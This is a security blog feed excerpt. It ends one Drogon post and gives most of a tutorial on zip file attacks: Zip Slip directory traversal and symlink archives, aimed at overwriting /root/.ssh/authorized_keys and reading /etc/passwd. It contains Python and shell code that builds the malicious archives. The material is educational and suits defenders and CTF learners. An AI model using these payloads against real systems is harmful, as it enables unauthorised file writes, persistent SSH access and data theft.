&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Dragon&#39;s Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.&quot; href=&quot;https://trebledj.me/img/poi-4-960x720-a-960w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/poi-4-960x720-a-960w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 960 / 720&quot; alt=&quot;Dragon&#39;s Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.&quot; title=&quot;Dragon&#39;s Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.&quot; srcset=&quot;https://trebledj.me/img/poi-4-960x720-a-256w.webp 256w, https://trebledj.me/img/poi-4-960x720-a-512w.webp 512w, https://trebledj.me/img/poi-4-960x720-a-960w.webp 960w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 960px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Nice View: the &lt;em&gt;Dragon&#39;s Back&lt;/em&gt; Hiking Trail in Hong Kong Island.&lt;/sup&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;code&gt;dlopen&lt;/code&gt; seems to only be available &lt;a href=&quot;https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/CMakeLists.txt#L320&quot;&gt;on Unix-like machines&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Whitelisting a program&#39;s &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Abstract Syntax Tree&quot;&gt;AST&lt;/abbr&gt; could prove effective, but this requires us to first generate an AST — a non-trivial problem. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;At the time of writing, I&#39;m using Drogon version 1.9.1. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>cpp</category>
        
          <category>ctf</category>
        
          <category>web</category>
        
          <category>programming</category>
        
          <category>linux</category>
        
          <category>notes</category>
        
          <category>research</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>From Compression to Compromise: Unmasking Zip File Threats</title>
        <description>Deep dive into zip file attacks and mitigations (with examples!).</description>
        <link href="https://trebledj.me/posts/attack-of-the-zip/"/>
        <updated>2024-02-15T00:00:00Z</updated>
        <id>https://trebledj.me/posts/attack-of-the-zip/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Zip files are &lt;em&gt;everywhere&lt;/em&gt; in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.&lt;/p&gt;
&lt;p&gt;But as we know from &lt;em&gt;Silicon Valley&lt;/em&gt;, zip files have the potential to be dangerous.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Filmmakers&#39; impression of a zip bomb.&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 707 / 500&quot; alt=&quot;Filmmakers&#39; impression of a zip bomb.&quot; title=&quot;Filmmakers&#39; impression of a zip bomb.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp 707w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 707px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;YouTube: &lt;a href=&quot;https://www.youtube.com/watch?v=jnDk8BcqoR0&quot;&gt;Silicon Valley - The Ultimate Hack&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In this post, we&#39;ll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.&lt;/p&gt;
&lt;p&gt;The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;zip-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Attacks&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 666&quot; alt=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; title=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Slip ⛸&lt;/h3&gt;
&lt;h4 id=&quot;overview-of-zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#overview-of-zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Overview of Zip Slip&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Zip Slip&lt;/strong&gt; is a fancy name for &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;directory traversal&lt;/a&gt; but applied to zip uploads. The idea is to &lt;em&gt;escape&lt;/em&gt; a directory by visiting parent directories through &lt;code&gt;../&lt;/code&gt; (or &lt;code&gt;..&#92;&lt;/code&gt; on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at an example.&lt;/p&gt;
&lt;p&gt;A typical zip file may look like this:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;foo.zip
└── data1.csv
└── data2.txt
└── ...&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;But in a Zip Slip payload, files are prefixed with nasty double-dots (&lt;code&gt;../&lt;/code&gt;). As an example, we&#39;ll try to overwrite SSH keys by writing to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(Note: &lt;code&gt;placeholder.txt&lt;/code&gt; has been included as a control variable, i.e. to show what happens normally to files.)&lt;/p&gt;
&lt;p&gt;Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.&lt;/p&gt;
&lt;p&gt;Suppose a vulnerable application unzips &lt;code&gt;evil-slip.zip&lt;/code&gt; to &lt;code&gt;/app/uploads/&lt;/code&gt;. The unzipped &lt;code&gt;authorized_keys&lt;/code&gt; file would end up in &lt;code&gt;/app/uploads/../../root/.ssh/authorized_keys&lt;/code&gt;, i.e. &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Result of unzipping &lt;code&gt;evil-slip.zip&lt;/code&gt;. Note that &lt;code&gt;placeholder.txt&lt;/code&gt; resides in the unzip directory, while &lt;code&gt;authorized_keys&lt;/code&gt; has sneaked its way into &lt;code&gt;/root/.ssh/&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Overwriting &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See &lt;a href=&quot;https://attack.mitre.org/techniques/T1098/004/&quot;&gt;&lt;em&gt;this MITRE reference&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;This isn&#39;t the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-slip-payload&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-slip-payload&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Slip payload!&lt;/h4&gt;
&lt;details&gt;&lt;summary&gt;With Python&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Python&#39;s built-in &lt;code&gt;zipfile&lt;/code&gt; module provides a convenient way to create zip files.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; zipfile

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-slip.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;my-ssh-key.pub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../../root/.ssh/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;#          │                 └ filename to store on the archive&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;#          └ file to compress from our local file system&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This creates a new &lt;code&gt;evil-slip.zip&lt;/code&gt; zip file. After importing the &lt;code&gt;zipfile&lt;/code&gt; module, we create an instance with the desired file name (&lt;code&gt;evil-slip.zip&lt;/code&gt;) and use write-mode (&lt;code&gt;&amp;quot;w&amp;quot;&lt;/code&gt;). (There is also &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt; for reading/adding files.)&lt;/p&gt;
&lt;p&gt;We also use Python&#39;s &lt;code&gt;with&lt;/code&gt; statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.&lt;/p&gt;
&lt;p&gt;Inside, we use &lt;code&gt;zip.write&lt;/code&gt; to add files to the zip. We add a local file &lt;code&gt;my-ssh-key.pub&lt;/code&gt; and store it as &lt;code&gt;../../root/.ssh/authorized_keys&lt;/code&gt; in the archive.&lt;/p&gt;
&lt;p&gt;One nice thing about the &lt;code&gt;zipfile&lt;/code&gt; module is that it constructs the file &lt;em&gt;in-memory&lt;/em&gt; (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;With Shell Commands&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Another approach is to use shell commands and reverse the process: start with the files we want unzipped.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-shell&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;touch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Normally we would run `ssh-keygen` to generate a key pair...&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;and use the generated public key as our authorized_keys.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;But let&#39;s assume ../.ssh/authorized_keys holds a public key.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; evil-slip &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  adding: ../../root/.ssh/authorized_keys (deflated 18%)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;unzip&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; evil-slip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Archive:  evil-slip.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  Length      Date    Time    Name&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;---------  ---------- -----   ----&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;---------                     -------&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;      575                     1 file&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h4 id=&quot;limitations-of-zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Limitations of Zip Slip&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;On Windows, you may need backslashes &lt;code&gt;&#92;&lt;/code&gt; instead of forward slashes &lt;code&gt;/&lt;/code&gt;. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.&lt;/li&gt;
&lt;li&gt;The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder.
For instance, to write to &lt;code&gt;foo/bar/baz/flag.txt&lt;/code&gt;, we need &lt;code&gt;x&lt;/code&gt; permissions on &lt;code&gt;foo/&lt;/code&gt; and &lt;code&gt;foo/bar/&lt;/code&gt;; and &lt;code&gt;wx&lt;/code&gt; permissions on &lt;code&gt;foo/bar/baz/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;zip-symlink-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-symlink-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Symlink Attacks 🖇&lt;/h3&gt;
&lt;p&gt;Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let&#39;s first clarify two types of symlinks in our arsenal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Symlink Files. This allows us to potentially &lt;em&gt;read&lt;/em&gt; arbitrary files.&lt;/li&gt;
&lt;li&gt;Symlink Directories. This allows us to potentially &lt;em&gt;write files&lt;/em&gt; to arbitrary folders.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;web application firewalls&quot;&gt;WAFs&lt;/abbr&gt;, etc.&lt;/p&gt;
&lt;h4 id=&quot;arbitrary-file-read-with-file-symlinks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#arbitrary-file-read-with-file-symlinks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary File Read with File Symlinks&lt;/h4&gt;
&lt;p&gt;Let&#39;s start with a simple zip symlink payload. Here&#39;s a zip which contains a symlink to &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-link-file.zip
└── passwd.txt         -&amp;gt; /etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Suppose (again) a vulnerable app unzips this file at &lt;code&gt;/app/uploads/&lt;/code&gt;. The filesystem would now resemble:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;app/
└── uploads/
	└── passwd.txt     -&amp;gt; /etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If we can read files in &lt;code&gt;/app/uploads/&lt;/code&gt;, then we can read &lt;code&gt;passwd.txt&lt;/code&gt; and by extension, &lt;code&gt;/etc/passwd&lt;/code&gt;!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; We can use this method to read any file on the system (subject to certain constraints to be discussed later).&lt;/p&gt;
&lt;p&gt;This is all fine and dandy if we can read files in &lt;code&gt;/app/uploads/&lt;/code&gt;. But... what if can&#39;t?&lt;/p&gt;
&lt;p&gt;One solution is to find a readable directory, then deploy the symlink &lt;em&gt;into that directory&lt;/em&gt; with Zip Slip. But let&#39;s look at another way to achieve the same result...&lt;/p&gt;
&lt;h4 id=&quot;arbitrary-file-write-with-dir-symlinks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#arbitrary-file-write-with-dir-symlinks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary File Write with Dir Symlinks&lt;/h4&gt;
&lt;p&gt;Although Zip Slip does allow us to perform arbitrary file writes, &lt;code&gt;..&lt;/code&gt; patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.&lt;/p&gt;
&lt;p&gt;Again, let&#39;s try to write a file to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Instead of using one zip entry, we&#39;ll use two: a directory and a file.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-link-dir.zip
└── dirlink/           -&amp;gt; /root/.ssh/
    └── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;These two entries are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dirlink&lt;/code&gt;: a symlink to our target directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dirlink/authorized_keys&lt;/code&gt;: the file we&#39;re trying to write&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now our zip contains a symlink directory! Let&#39;s go through what happens when this file is unzipped by a vulnerable app.&lt;/p&gt;
&lt;p&gt;First, &lt;code&gt;dirlink&lt;/code&gt; is decompressed and a symlink is created, pointing to &lt;code&gt;/root/.ssh/&lt;/code&gt;. Next, the app tries to decompress &lt;code&gt;dirlink/authorized_keys&lt;/code&gt;, which—if the app follows symlinks—gets written to &lt;code&gt;/root/.ssh/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tada! We&#39;ve just shown another way to achieve arbitrary file write.&lt;/p&gt;
&lt;p&gt;Let&#39;s see what the filesystem looks like now.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/
├── app/
│	└── uploads/
│	    └── dirlink        -&amp;gt; /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Put it into Practice&lt;/strong&gt;: If you&#39;re itching to try out Zip Slip and zip symlink attacks, feel free to try the &lt;a href=&quot;https://github.com/TrebledJ/attack-of-the-zip&quot;&gt;exercises I&#39;ve uploaded on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
